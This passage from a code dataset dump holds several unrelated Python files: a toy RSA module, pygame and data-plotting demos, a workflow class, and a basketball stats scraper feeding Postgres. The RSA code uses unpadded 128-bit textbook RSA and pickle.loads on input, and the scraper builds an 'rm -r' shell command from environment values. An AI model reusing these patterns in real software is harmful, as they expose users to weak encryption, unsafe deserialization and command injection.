(%d) and i (%d) are not mult. inv. modulo phi_n (%d)\" % (e, i, phi_n))\n\n return (e, i)\n\ndef gen_keys(nbits):\n \"\"\"\n Generate RSA keys of nbits bits. Returns (p, q, e, d).\n\n Note: this can take a long time, depending on the key size.\n \"\"\"\n\n while True:\n (p, q) = find_p_q(nbits)\n (e, d) = calculate_keys(p, q, nbits)\n\n # For some reason, d is sometimes negative. We don't know how\n # to fix it (yet), so we keep trying until everything is shiny\n if d > 0: break\n\n return (p, q, e, d)\n\ndef gen_pubpriv_keys(nbits):\n \"\"\"\n Generates public and private keys, and returns them as (pub,\n priv).\n\n The public key consists of a dict {e: ..., , n: ....). The private\n key consists of a dict {d: ...., p: ...., q: ....).\n \"\"\"\n (p, q, e, d) = gen_keys(nbits)\n\n return ( {'e': e, 'n': p*q}, {'d': d, 'p': p, 'q': q} )\n\ndef encrypt_int(message, ekey, n):\n \"\"\"Encrypts a message using encryption key 'ekey', working modulo\n n\"\"\"\n\n if type(message) is types.IntType:\n return encrypt_int(long(message), ekey, n)\n\n if not type(message) is types.LongType:\n raise TypeError(\"You must pass a long or an int\")\n\n if message > 0 and \\\n math.floor(math.log(message, 2)) > math.floor(math.log(n, 2)):\n raise OverflowError(\"The message is too long\")\n\n return utils.fast_exponentiation(message, ekey, n)\n\ndef decrypt_int(cyphertext, dkey, n):\n \"\"\"\n Decrypts a cypher text using the decryption key 'dkey', working\n modulo n\n \"\"\"\n return encrypt_int(cyphertext, dkey, n)\n\ndef sign_int(message, dkey, n):\n \"\"\"\n Signs 'message' using key 'dkey', working modulo n\n \"\"\"\n return decrypt_int(message, dkey, n)\n\ndef verify_int(signed, ekey, n):\n \"\"\"\n verifies 'signed' using key 'ekey', working modulo n\n \"\"\"\n return encrypt_int(signed, ekey, n)\n\ndef picklechops(chops):\n \"\"\"\n Pickles and base64encodes it's argument chops.\n \"\"\"\n value = zlib.compress(dumps(chops))\n encoded = base64.encodestring(value)\n return encoded.strip()\n\ndef unpicklechops(string):\n \"\"\"\n base64decodes and unpickes it's argument string into chops\n \"\"\"\n return loads(zlib.decompress(base64.decodestring(string)))\n\ndef chopstring(message, key, n, funcref):\n \"\"\"\n Splits 'message' into chops that are at most as long as n,\n converts these into integers, and calls funcref(integer, key, n)\n for each chop.\n\n Used by 'encrypt' and 'sign'.\n \"\"\"\n msglen = len(message)\n mbits = msglen * 8\n nbits = int(math.floor(math.log(n, 2)))\n nbytes = nbits / 8\n blocks = msglen / nbytes\n\n if msglen % nbytes > 0:\n blocks += 1\n\n cypher = []\n\n for bindex in range(blocks):\n offset = bindex * nbytes\n block = message[offset:offset+nbytes]\n value = utils.bytes2int(block)\n cypher.append(funcref(value, key, n))\n\n return picklechops(cypher)\n\ndef gluechops(chops, key, n, funcref):\n \"\"\"\n Glues chops back together into a string. calls\n funcref(integer, key, n) for each chop.\n\n Used by 'decrypt' and 'verify'.\n \"\"\"\n message = \"\"\n chops = unpicklechops(chops)\n for cpart in chops:\n mpart = funcref(cpart, key, n)\n message += utils.int2bytes(mpart)\n return message\n\ndef encrypt(message, key):\n \"\"\"\n Encrypts a string 'message' with the public key 'key'\n \"\"\"\n return chopstring(message, key['e'], key['n'], encrypt_int)\n\ndef sign(message, key):\n \"\"\"\n Signs a string 'message' with the private key 'key'\n \"\"\"\n return chopstring(message, key['d'], key['p']*key['q'], decrypt_int)\n\ndef decrypt(cypher, key):\n \"\"\"\n Decrypts a cypher with the private key 'key'\n \"\"\"\n return gluechops(cypher, key['d'], key['p']*key['q'], decrypt_int)\n\ndef verify(cypher, key):\n \"\"\"\n Verifies a cypher with the public key 'key'\n \"\"\"\n return gluechops(cypher, key['e'], key['n'], encrypt_int)\n\nif __name__ == '__main__':\n # Point of entry in execution mode.\n rsa_key_public, rsa_key_private = gen_pubpriv_keys(128)\n print(encrypt(\"Hello World\", rsa_key_public))\n\n print(decrypt(encrypt(\"Hello World!\", rsa_key_public), rsa_key_private))\n","sub_path":"licenseManager/old/rsa.py","file_name":"rsa.py","file_ext":"py","file_size_in_byte":8606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"345654099","text":"import sys, pygame\nfrom pygame.locals import *\n\npygame.init()\n\n# 设置窗口\nDISPLAYSURF = pygame.display.set_mode((500, 400), 0, 32)\npygame.display.set_caption(\"Drawing\")\n\n# 设置颜色\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nGREEN = (0, 255, 0)\nBLUE = (0, 0, 255)\n\n# 在屏幕设置对象\nDISPLAYSURF.fill(WHITE)\npygame.draw.polygon(DISPLAYSURF, GREEN, ((146, 0), (291, 106), (234, 277)))\npixobj = pygame.PixelArray(DISPLAYSURF)\npixobj[480][380] = BLACK\npixobj[484][389] = RED\ndel pixobj\n\nwhile True:\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n pygame.display.update()\n","sub_path":"python/chapter-course-2/drawing.py","file_name":"drawing.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"481009838","text":"#!/usr/bin/python\nimport argparse\nimport pdbtools\n\ndef main():\n args = parseargs()\n renumber_pdb(args)\n\ndef parseargs():\n parser = argparse.ArgumentParser()\n parser.add_argument('-p','--pdb',help='The pdbfile')\n parser.add_argument('-o','--output',help='The output file')\n args = parser.parse_args()\n return args\n\ndef renumber_pdb(args):\n pdbfile = open(args.pdb).readlines()\n residues = pdbtools.get_residue_list(pdbfile)\n \n #get the header\n headlines = []\n header = True\n for line in pdbfile:\n if line.startswith('ATOM') or line.startswith('HETATM'):\n header = False\n if header == True:\n headlines.append(line)\n\n tailLines = []\n tailer = True\n it = len(pdbfile)-1\n while it > 0:\n line = pdbfile[it]\n if line.startswith('ATOM') or line.startswith('HETATM'):\n tailer = False\n if tailer == True:\n tailLines.append(line)\n it-=1\n\n count = 1\n for res in residues:\n res.num = count\n count+=1\n reslines = pdbtools.make_pdblines_from_residues(residues,False)\n\n with open(args.output,'w') as outfile:\n outfile.write(''.join(headlines))\n outfile.write(''.join(reslines))\n outfile.write(''.join(tailLines))\n\n\nmain()\n","sub_path":"renumber_pdb.py","file_name":"renumber_pdb.py","file_ext":"py","file_size_in_byte":1293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"354632201","text":"#Copyright (C) 2015 DigiPen Institute of Technology.\n#Reproduction or disclosure of this file or its contents without\n#the prior written consent of DigiPen Institute of Technology is\n#prohibited.\n\nimport KeplerComposite, ImGUI\nimport json, random\nfrom KeplerMath import vec3\n\ndef counter(start=0):\n while True:\n yield start\n start += 1\n\nclass GridSpaceComponent:\n def Initialize(self):\n KeplerComposite.Connect(self.Owner, 'Awake', self.__LoadTileMap)\n self.players = [None, None]\n self.gridObjects = [[]]\n self.grid = [[]]\n self.spawners = []\n self.mapNames = ['Maps\\\\Dimond.json', 'Maps\\\\FourSquare.json', 'Maps\\\\FourWays.json', 'Maps\\\\test.json', 'Maps\\\\TheHill.json']\n\n def DrawEditor(self):\n ImGUI.PushMonospace()\n for i,row in zip(counter(1), self.gridObjects):\n s = 'Row {:3}:'.format(i) + ' '.join(['[{}]'.format(len(cell)) if len(cell) > 0 else '[ ]' for cell in row])\n ImGUI.Text(s)\n ImGUI.PopFont()\n\n def __LoadTileMap(self):\n self.MapFile = random.choice(self.mapNames)\n with open(self.MapFile) as fp:\n m = json.load(fp)\n\n self.Width = round(m['width'])\n self.Height = round(m['height'])\n\n self.grid = [[None for i in range(0, self.Height)] for i in range(0, self.Width)]\n self.gridObjects = [[ [] for i in range(0, self.Height)] for i in range(0, self.Width)]\n\n spawnerIDS = set()\n tileObjNames = {}\n tileProperties = {}\n for tileset in m['tilesets']:\n properties = tileset['tileproperties']\n\n for tileID,tileProps in properties.items():\n tileID = int(tileID) + 1\n if 'SPAWNER_TILE' in tileProps:\n spawnerIDS.add(tileID)\n\n name = tileProps['OBJECT_NAME']\n if name != '':\n tileObjNames[tileID] = tileProps['OBJECT_NAME']\n\n p = {}\n for propName,propVal in tileProps.items():\n p[propName] = propVal\n\n tileProperties[tileID] = p\n\n for layer in m['layers']:\n x_off = float(layer['x'])\n y_off = float(layer['y'])\n\n properties = layer['properties']\n y_location = float(properties['Y_OFFSET'])\n\n w = layer['width']\n h = layer['height']\n tile = iter(layer['data'])\n\n for x in range(0, w):\n for y in range(0, h):\n tileID = next(tile)\n\n tileProps = tileProperties[tileID]\n\n try:\n # Create the object\n name = tileObjNames[tileID]\n o = KeplerComposite.CreateComposite(name, self.Owner)\n\n tx,ty,tz = x+x_off, y_location, y+y_off\n\n try:\n ty += float(tileProps['Y_OFFSET'])\n except KeyError:\n pass\n\n p = vec3(tx,ty,tz)\n o.Transform.Position = p\n self.AddGridTile(o)\n except KeyError:\n pass\n\n # If this tile is a spawner, add it to the spawner list\n if tileID in spawnerIDS:\n self.spawners.append(o)\n\n def AddGridObject(self, obj, x, y):\n self.gridObjects[x][y].append(obj)\n\n for shared in self.gridObjects[x][y][0:-1]:\n if shared.IsValid():\n shared.Dispatch('SharedCell', obj)\n obj.Dispatch('SharedCell', shared)\n\n def MoveGridObject(self, obj, oldx,oldy, newx,newy):\n try:\n self.gridObjects[oldx][oldy].remove(obj)\n except ValueError:\n pass\n\n self.gridObjects[newx][newy].append(obj)\n\n for shared in self.gridObjects[newx][newy][0:-1]:\n if shared.IsValid():\n shared.Dispatch('SharedCell', obj)\n obj.Dispatch('SharedCell', shared)\n\n def RemoveGridObject(self, obj, x, y):\n self.gridObjects[x][y].remove(obj)\n\n def GetSpawner(self):\n spawner_index = random.randrange(len(self.spawners))\n spawner = self.spawners[spawner_index]\n self.spawners.pop(spawner_index)\n return spawner\n\n def AddGridTile(self, obj):\n x, y = self.GetObjectGridCoord(obj)\n\n if x < self.Width and y < self.Height and x >= 0 and y >= 0:\n self.grid[x][y] = obj\n\n def GetGridSquare(self, x, y):\n x, y = round(x), round(y)\n if x < self.Width and y < self.Height and x >= 0 and y >= 0:\n return self.grid[x][y]\n else:\n return None\n\n def GetGridObjects(self, x, y):\n x, y = round(x), round(y)\n\n if x < self.Width and y < self.Height and x >= 0 and y >= 0:\n return self.gridObjects[x][y]\n else:\n return None\n\n def CanMove(self, obj, x, y):\n x = round(obj.Transform.Position.x + x)\n y = round(obj.Transform.Position.z + y)\n\n square = self.GetGridSquare(x, y)\n objects = self.GetGridObjects(x, y)\n\n if square is None or not square.IsValid():\n return False\n\n elif not square.GridTile.CanOccupy():\n return False\n\n for obj in objects:\n if not obj.GridObject.CanShare:\n return False\n\n return True\n\n\n def GetObjectGridCoord(self, obj):\n x = round(obj.Transform.Position.x)\n y = round(obj.Transform.Position.z)\n\n return (x, y)\n\nKeplerComposite.RegisterComponent(GridSpaceComponent, 'GridSpace')\n","sub_path":"Kepler/Scale/Content/Components/GridSpaceComponent.py","file_name":"GridSpaceComponent.py","file_ext":"py","file_size_in_byte":5901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"504775152","text":"'''\nCreated on 12 апр. 2017 г.\n\n@author: smiyan.a\n'''\nimport json\nimport sys\nimport os\nsys.path.append('Second_pr')\n\ndescript={}\n#path_to_file='C:\\\\Users\\\\smiyan.a\\\\My Documents\\\\LiClipse Workspace\\\\Second_pr\\\\dic.json'\ndef getdic(path_to_file):\n if os.path.exists(path_to_file):\n f=open(path_to_file, encoding='utf-8')\n h=f.read()\n pretty=json.loads(h)\n return(pretty)","sub_path":"Data_tend.py","file_name":"Data_tend.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"193267261","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Feb 10 13:34:12 2018\nSearch your file of interest here: http://soleil.i4ds.ch/solarradio/callistoQuicklooks/\nSave file in the local folder of the Python script\nLecture 2.6/5 How to access data locally\n\n@author: Christian Monstein\n\"\"\"\n\n\n\nimport pyfits\nimport matplotlib.pyplot as plt \nimport numpy as np\nfrom matplotlib import cm\n \n#mypath = 'C:/Users/Hitsch/Documents/cospar2018/Lecture_2/BackgroundSubtraction/'\n#mypath = 'H:\\My Documents\\COSPAR2018\\Lectures\\Lecture_2\\BackgroundSubtraction/'\n#mypath = 'C:/MyPython/Ethiopia/Lectures/Lecture_2/BackgroundSubtraction/'\n#mypath = 'C:/Users/Hitsch/Documents/cospar2018/Lectures/Lecture_2/BackgroundSubtraction/'\n\nmyfile = '../GAURI_20110809_075959_59.fit.gz'\n\n#hdu = pyfits.open(mypath + myfile)\nhdu = pyfits.open(myfile)\ndata = hdu[0].data.astype(np.float32)\nfreqs = hdu[1].data['Frequency'][0] # extract frequency axis\ntime = hdu[1].data['Time'][0] # extract time axis\nhdu.close()\n\n#------------------------------------------------------------------------------\nplt.figure(figsize=(12,8))\nextent = (time[0], time[-1], freqs[-1], freqs[0])\ntimemarker=3590 # play with me\nref = data[:,timemarker]\nbgs = np.transpose(np.transpose(data) - ref) # subtract average \n\nplt.imshow(bgs, aspect = 'auto', extent = extent, cmap='CMRmap', vmin=-6,vmax=40) \n# cm.PRGn, cm.hot, cm.cool, cm.bone, cm.binary, cm.spectral, cm.jet, cm.inferno\n# cm.gnuplot, cm.gnuplot2, cm.CMRmap, cm.plasma, cm.magma\nplt.tick_params(labelsize=14)\nplt.xlabel('Time [s] of FIT-file: ' + myfile,fontsize=15)\nplt.ylabel('Plasma frequency [MHz]',fontsize=15)\nplt.title('FIT file individual spectrum subtracted.',fontsize=15)\nplt.savefig(myfile + \".png\")\nplt.show()\n#------------------------------------------------------------------------------","sub_path":"Lectures/Lecture_2/BackgroundSubtraction/specindividual/individual.py","file_name":"individual.py","file_ext":"py","file_size_in_byte":1806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"460198874","text":"from __future__ import print_function\nfrom collections import OrderedDict\nimport copy\nfrom functools import partial\nimport traceback\nimport os\n\nfrom ..models.TreeModel import TreeModel\nfrom ..operations import Operation as opmod\nfrom ..operations.Operation import Operation\nfrom ..operations import optools\n\nclass Workflow(TreeModel):\n \"\"\"\n Tree structure for a Workflow built from paws Operations.\n \"\"\"\n\n def __init__(self):\n flag_dict = OrderedDict()\n flag_dict['select'] = False\n flag_dict['enable'] = True\n super(Workflow,self).__init__(flag_dict)\n self.inputs = OrderedDict()\n self.outputs = OrderedDict()\n self.message_callback = print\n self.data_callback = None\n\n def __getitem__(self,key):\n optags = self.keys()\n if key in optags:\n return self.get_data_from_uri(key) \n else:\n raise KeyError('[{}] {}.__getitem__ only recognizes keys {}'\n .format(__name__,type(self).__name__,optags))\n def __setitem__(self,key,data):\n optags = self.keys() \n # TODO: ensure that data is an Operation?\n if key in optags:\n self.set_item(key,data)\n else:\n raise KeyError('[{}] {}.__setitem__ only recognizes keys {}'\n .format(__name__,type(self).__name__,optags))\n\n def keys(self):\n return self.list_op_tags() \n\n def set_op_item(self,op_tag,item_uri,item_data):\n full_uri = op_tag+'.'+item_uri\n self.set_item(full_uri,item_data)\n\n def clone_wf(self):\n \"\"\"\n Produce a Workflow that is a copy of this Workflow.\n \"\"\"\n new_wf = self.clone() \n #new_wf = copy.copy(self)\n new_wf.inputs = copy.deepcopy(self.inputs)\n new_wf.outputs = copy.deepcopy(self.outputs)\n # NOTE: is it ok if I don't copy.copy the callbacks? \n new_wf.message_callback = self.message_callback\n new_wf.data_callback = self.data_callback\n for op_tag in self.list_op_tags():\n op = self.get_data_from_uri(op_tag)\n new_wf.add_op(op_tag,op.clone_op())\n return new_wf\n\n @classmethod\n def clone(cls):\n return cls()\n\n def add_op(self,op_tag,op):\n op.message_callback = self.message_callback\n op.data_callback = partial( self.set_op_item,op_tag )\n self.set_item(op_tag,op)\n\n def build_tree(self,x):\n \"\"\"\n Reimplemented TreeModel.build_tree() \n so that TreeItems are built from Operations.\n \"\"\"\n if isinstance(x,Operation):\n d = OrderedDict()\n d['inputs'] = self.build_tree(x.inputs)\n d['outputs'] = self.build_tree(x.outputs)\n return d\n else:\n return super(Workflow,self).build_tree(x) \n\n def op_dict(self):\n optags = self.list_op_tags() \n return OrderedDict(zip(optags,[self.get_data_from_uri(nm) for nm in optags]))\n\n def list_op_tags(self):\n return self.root_tags()\n\n def n_ops(self):\n return self.n_children()\n\n def connect_wf_input(self,wf_input_name,op_input_uris):\n self.inputs[wf_input_name] = op_input_uris\n\n def connect_wf_output(self,wf_output_name,op_output_uris):\n self.outputs[wf_output_name] = op_output_uris\n\n def break_wf_input(self,wf_input_name):\n self.inputs.pop(wf_input_name)\n \n def break_wf_output(self,wf_output_name):\n self.outputs.pop(wf_output_name)\n\n def wf_outputs_dict(self):\n d = OrderedDict()\n for wfoutnm in self.outputs.keys():\n # if the uri referred to by this output exists, save it\n if self.contains_uri(self.outputs[wfoutnm]):\n d[wfoutnm] = self.get_data_from_uri(self.outputs[wfoutnm])\n return d\n\n def get_wf_output(wf_output_name):\n \"\"\"\n Fetch and return the Operation output(s)\n indicated by self.outputs[wf_output_name].\n \"\"\"\n r = self.outputs[wf_output_name]\n if isinstance(r,list):\n return [self.get_data_from_uri(q) for q in r]\n else:\n return self.get_data_from_uri(r)\n\n def set_wf_input(self,wf_input_name,val):\n \"\"\"\n Take the Operation input(s) \n indicated by self.inputs[wf_input_name],\n and set them to the input value val. \n \"\"\"\n urilist = self.inputs[wf_input_name]\n if not isinstance(urilist,list):\n urilist = [urilist]\n for uri in urilist:\n p = uri.split('.')\n il = self.get_data_from_uri(p[0]).input_locator[p[2]]\n if il.tp in [opmod.basic_type,opmod.runtime_type]:\n self.set_item(uri,val)\n else:\n il.val = val\n #msg = 'Attempted to set input {}, '.format(uri)\\\n #'and found that input was supposed to be a {}. '.format(opmod.input_types[il.tp])\\\n #'Only \"auto\" type inputs should be loaded directly.'\n #raise TypeError(msg)\n\n def execute(self):\n stk,diag = self.execution_stack()\n bad_diag_keys = [k for k in diag.keys() if diag[k]]\n for k in bad_diag_keys:\n self.message_callback('WARNING- operation not ready: {}'.format(diag[k]))\n self.message_callback('workflow queue:'+os.linesep+self.print_stack(stk))\n for lst in stk:\n self.message_callback('running: {}'.format(lst))\n for op_tag in lst: \n op = self.get_data_from_uri(op_tag) \n for inpnm,il in op.input_locator.items():\n if il.tp == opmod.workflow_item:\n #il.data = self.locate_input(il)\n #op.inputs[inpnm] = il.data\n #op.inputs[inpnm] = self.locate_input(il)\n self.set_op_item(op_tag,'inputs.'+inpnm,self.locate_input(il))\n op.run() \n for outnm,outdata in op.outputs.items():\n self.set_op_item(op_tag,'outputs.'+outnm,outdata)\n\n def locate_input(self,il):\n if isinstance(il.val,list):\n return [self.get_data_from_uri(v) for v in il.val]\n else:\n return self.get_data_from_uri(il.val)\n\n def set_op_enabled(self,opname,flag=True):\n op_item = self.get_from_uri(opname)\n op_item.flags['enable'] = flag\n\n def is_op_enabled(self,opname):\n op_item = self.get_from_uri(opname)\n return op_item.flags['enable']\n\n def op_enable_flags(self):\n dct = OrderedDict()\n for opnm in self.list_op_tags():\n dct[opnm] = self.get_from_uri(opnm).flags['enable']\n return dct\n\n def execution_stack(self):\n \"\"\"\n Build a stack (list) of lists of Operation uris,\n such that each list indicates a set of Operations\n whose dependencies are satisfied by the Operations above them.\n \"\"\"\n stk = []\n valid_wf_inputs = [] \n diagnostics = {}\n continue_flag = True\n while not self.stack_size(stk) == self.n_ops() and continue_flag:\n ops_rdy = []\n ops_not_rdy = []\n for op_tag in self.list_op_tags():\n if not self.is_op_enabled(op_tag):\n op_rdy = False\n op_diag = {op_tag:'Operation is disabled'}\n elif not self.stack_contains(op_tag,stk):\n op = self.get_data_from_uri(op_tag)\n op_rdy,op_diag = self.is_op_ready(op_tag,self,valid_wf_inputs)\n diagnostics.update(op_diag)\n if op_rdy:\n ops_rdy.append(op_tag)\n else:\n ops_not_rdy.append(op_tag)\n if any(ops_rdy):\n stk.append(ops_rdy)\n for op_tag in ops_rdy:\n op = self.get_data_from_uri(op_tag)\n valid_wf_inputs += self.get_valid_wf_inputs(op_tag,op)\n else:\n continue_flag = False\n return stk,diagnostics\n\n def wf_setup_dict(self):\n wf_dict = OrderedDict() \n for opname in self.list_op_tags():\n op = self.get_data_from_uri(opname)\n wf_dict[opname] = op.setup_dict()\n wf_dict['WORKFLOW_INPUTS'] = self.inputs\n wf_dict['WORKFLOW_OUTPUTS'] = self.outputs\n wf_dict['OP_ENABLE_FLAGS'] = self.op_enable_flags()\n return wf_dict\n\n def build_op_from_dict(self,op_setup,op_manager):\n op_uri = op_setup['op_module']\n op_manager.set_op_enabled(op_uri)\n op = op_manager.get_data_from_uri(op_uri)()\n op.load_defaults()\n il_setup_dict = op_setup['inputs']\n for nm in op.inputs.keys():\n if nm in il_setup_dict.keys():\n tp = il_setup_dict[nm]['tp']\n val = il_setup_dict[nm]['val']\n op.input_locator[nm] = opmod.InputLocator(tp,val) \n return op\n\n @staticmethod\n def stack_contains(itm,stk):\n for lst in stk:\n if itm in lst:\n return True\n for lst_itm in lst:\n if isinstance(lst_itm,list):\n if stack_contains(itm,lst_itm):\n return True\n return False\n\n @staticmethod\n def stack_size(stk):\n sz = 0\n for lst in stk:\n for lst_itm in lst:\n if isinstance(lst_itm,list):\n sz += stack_size(lst_itm)\n else:\n sz += 1\n return sz\n\n @staticmethod\n def is_op_ready(op_tag,wf,valid_wf_inputs):\n op = wf.get_data_from_uri(op_tag)\n inputs_rdy = []\n diagnostics = {} \n for name,il in op.input_locator.items():\n msg = ''\n if il.tp == opmod.workflow_item:\n inp_rdy = False\n if isinstance(il.val,list):\n if all([v in valid_wf_inputs for v in il.val]):\n inp_rdy = True \n else:\n if il.val in valid_wf_inputs: \n inp_rdy = True \n if not inp_rdy:\n msg = str('Operation input {} (={}) '.format(name,il.val)\n + 'not satisfied by valid inputs list: {}'.format(valid_wf_inputs))\n else:\n inp_rdy = True\n inputs_rdy.append(inp_rdy)\n diagnostics[op_tag+'.inputs.'+name] = msg\n if all(inputs_rdy):\n op_rdy = True\n else:\n op_rdy = False\n return op_rdy,diagnostics \n\n @staticmethod\n def get_valid_wf_inputs(op_tag,op):\n \"\"\"\n Return the TreeModel uris of the op and its inputs/outputs \n that are eligible as downstream inputs in the workflow.\n \"\"\"\n # valid_wf_inputs should be the operation, its input and output dicts, and their respective entries\n valid_wf_inputs = [op_tag,op_tag+'.inputs',op_tag+'.outputs']\n valid_wf_inputs += [op_tag+'.outputs.'+k for k in op.outputs.keys()]\n valid_wf_inputs += [op_tag+'.inputs.'+k for k in op.inputs.keys()]\n return valid_wf_inputs\n\n @staticmethod\n def print_stack(stk):\n stktxt = ''\n opt_newline = '\\n'\n for i,lst in zip(range(len(stk)),stk):\n if i == len(stk)-1:\n opt_newline = ''\n if len(lst) > 1:\n if isinstance(lst[1],list):\n substk = lst[1]\n stktxt += ('[\\'{}\\':\\n{}\\n]'+opt_newline).format(lst[0],print_stack(lst[1]))\n else:\n stktxt += ('{}'+opt_newline).format(lst)\n else:\n stktxt += ('{}'+opt_newline).format(lst)\n return stktxt\n\n\n","sub_path":"paws/core/workflow/Workflow.py","file_name":"Workflow.py","file_ext":"py","file_size_in_byte":11741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"284002109","text":"import os\nfrom bs4 import BeautifulSoup\nimport requests\nimport time\nimport random\nimport unicodedata\nimport pandas as pd\nimport json\nimport sys\nfrom datetime import date, timedelta\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nimport re\nimport psycopg2\n\n\nclass GameScraper(object):\n\n def __init__(self, team_names, years):\n self.headers = {\"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 1-_9_5) AppleWebKit 537.36 (KHTLM, like Gecko) Chrome\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\"}\n self.workingDirectory = \"./\"\n self.allTeams = self.loadSchoolCodes()\n self.team_names = team_names\n self.years = years\n self.team_maps = {'Northwestern Wildcats': 1}\n # self.csv_collection = list()\n\n def loadSchoolCodes(self):\n print('Loading school data')\n schoolURL = \"https://www.sports-reference.com/cbb/schools/\"\n html = requests.get(schoolURL).content\n schoolNames = {}\n soup = BeautifulSoup(html, \"html.parser\")\n schools = soup.select('td[data-stat*=\"school_name\"]')\n for school in schools:\n schoolCode = school.find('a').get('href').split(\"/\")[-2]\n schoolNames[schoolCode] = schoolName = school.find('a').text\n\n with open('teamInfo.json', 'w') as outfile:\n json.dump(schoolNames, outfile)\n\n with open(self.workingDirectory+'/teamInfo.json') as infile:\n return json.load(infile)\n\n # find correct table in web page\n def getGameData(self, targetTeam, outputPath, gameDate, soup):\n print('Getting game data', targetTeam, gameDate)\n\n allTables = soup.select('table[id*=\"box-score\"]')\n for index, teamStats in enumerate(allTables):\n if teamStats.caption.text.split(\" \")[0] in str(targetTeam):\n targetTeamStats = allTables[index]\n else:\n opponent = teamStats.caption.text.replace(\" Table\", \"\")\n opponent = opponent.replace(opponent.split(\" \")[-1], \"\")\n\n playerStatsDictionary = {}\n dataStatsDictionary = {}\n for index, individualStats in enumerate(targetTeamStats.find_all('tr')):\n if index == 1:\n for metricInfo in individualStats.find_all('th'):\n try:\n description = metricInfo['data-tip']\n dataStatsDictionary[metricInfo['data-stat']\n ] = description\n except Exception as e:\n pass\n try:\n playerName = individualStats.find('th').text\n allIndividualStats = individualStats.find_all('td')\n if len(allIndividualStats) > 1:\n playerStatsDictionary[playerName+''+gameDate] = {}\n playerStatsDictionary[playerName+'' +\n gameDate]['player'] = playerName\n playerStatsDictionary[playerName +\n ''+gameDate]['player_id'] = 0\n playerStatsDictionary[playerName+'' +\n gameDate]['organization_id'] = self.team_maps[targetTeam]\n # playerStatsDictionary[playerName+'' +\n # gameDate]['opponent'] = opponent\n playerStatsDictionary[playerName+'' +\n gameDate]['game_date'] = gameDate\n for playerStats in allIndividualStats:\n dataStatName = playerStats.attrs['data-stat']\n dataStatValue = playerStats.text\n playerStatsDictionary[playerName+'' +\n gameDate][dataStatName] = dataStatValue\n\n except Exception as e:\n pass\n return playerStatsDictionary\n\n def scrape(self):\n for year in self.years:\n for team_ in self.team_names:\n\n # setting things up\n allGameStatsDict = {}\n os.system(\"rm -r \"+self.workingDirectory+\"/\"+team_)\n os.system(\"mkdir \"+self.workingDirectory+\"/\"+team_)\n gamelogURL = \"https://www.sports-reference.com/cbb/schools/\" + \\\n team_+\"/\"+year+\"-gamelogs.html\"\n html = requests.get(gamelogURL).content\n soup = BeautifulSoup(html, \"html.parser\")\n # soup.select('td[data-stat*=\"date_game\"]')\n gameDates = soup.find_all(\n 'td', attrs={\"data-stat\": \"date_game\"})\n for game in gameDates:\n time.sleep(random.randint(1, 2))\n gamelink = game.find('a').get('href')\n gameDate = game.text\n URL = 'https://www.sports-reference.com/'+gamelink\n html = requests.get(URL).content\n soup = BeautifulSoup(html, \"html.parser\")\n\n allGameStatsDict.update(self.getGameData(\n self.allTeams[team_], self.workingDirectory+team_, gameDate, soup))\n \n allGameStatsDict = { k:v for k,v in allGameStatsDict.items() if 'School Totals' not in k }\n\n df = pd.DataFrame(columns=list(allGameStatsDict[list(allGameStatsDict)[0]]), index=[\n i for i in range(0, len(allGameStatsDict.keys()))])\n\n for index, player in enumerate(allGameStatsDict):\n # if 'School Totals' in player:\n # continue\n df.loc[index] = pd.Series(allGameStatsDict[player])\n df = df.sort_values(by=['game_date'])\n df.to_csv(self.workingDirectory+'/'+team_+'/'+team_.replace(\",\", \"\").replace(\".\", \" \")+\"_\"+str(year)+\".csv\",\n index=False)\n\n def insertIntoDb(self):\n print('Cleaning database')\n\n conn = psycopg2.connect(\"host=\"+os.environ['pghost'] + \" dbname=\"+os.environ['pgdb'] + \" user=\"+os.environ['pguser'] + \" password=\"+os.environ['pgpassword'] + \" port=\"+os.environ['pgport'])\n cur = conn.cursor()\n\n cur.execute(\"\"\"\n DELETE from \"Stats\" \n WHERE player_id = '0'\n \"\"\")\n conn.commit()\n\n SQL_STATEMENT = \"\"\"\n COPY \"Stats\"(player_name,player_id,organization_id,date_scrimmage,mp,fg,fga,\"fg%\",\"2p\",\"2pa\",\"2p%\",\"3p\",\"3pa\",\"3p%\",ft,fta,\"ft%\",oreb,dreb,reb,ast,stl,blk,tov,pf,pts) FROM STDIN WITH\n CSV\n HEADER\n DELIMITER AS ','\n \"\"\"\n \n print('Copying into database')\n\n for team in self.team_names:\n for year in self.years:\n my_file = open(self.workingDirectory+'/' + team + '/' + team + '_' + year + '.csv')\n cur.copy_expert(sql=SQL_STATEMENT, file=my_file)\n conn.commit()\n\n cur.close()\n\n\nif __name__ == \"__main__\":\n scraper = GameScraper(os.environ['teams'].split(','), os.environ['years'].split(',')) # replace with variables\n scraper.scrape()\n scraper.insertIntoDb()\n print('Done!')\n\n\n\n# #box score\n\n# res = urlopen(req)\n# rawpage = res.read()\n# page = rawpage.replace(\"\", \"\")\n# soup = BeautifulSoup(page, \"html.parser\")\n\n# #scorebox meta info\n# scoreboxMeta = soup.find('div',class_=\"scorebox_meta\").find_all('div')\n# date = scoreboxMeta[0].text\n# stadium = scoreboxMeta[1].text\n\n# #score box\n# soup.find('div',id=\"div_line-score\")\n# page = rawpage.replace(\"\", \"\")\n\n# 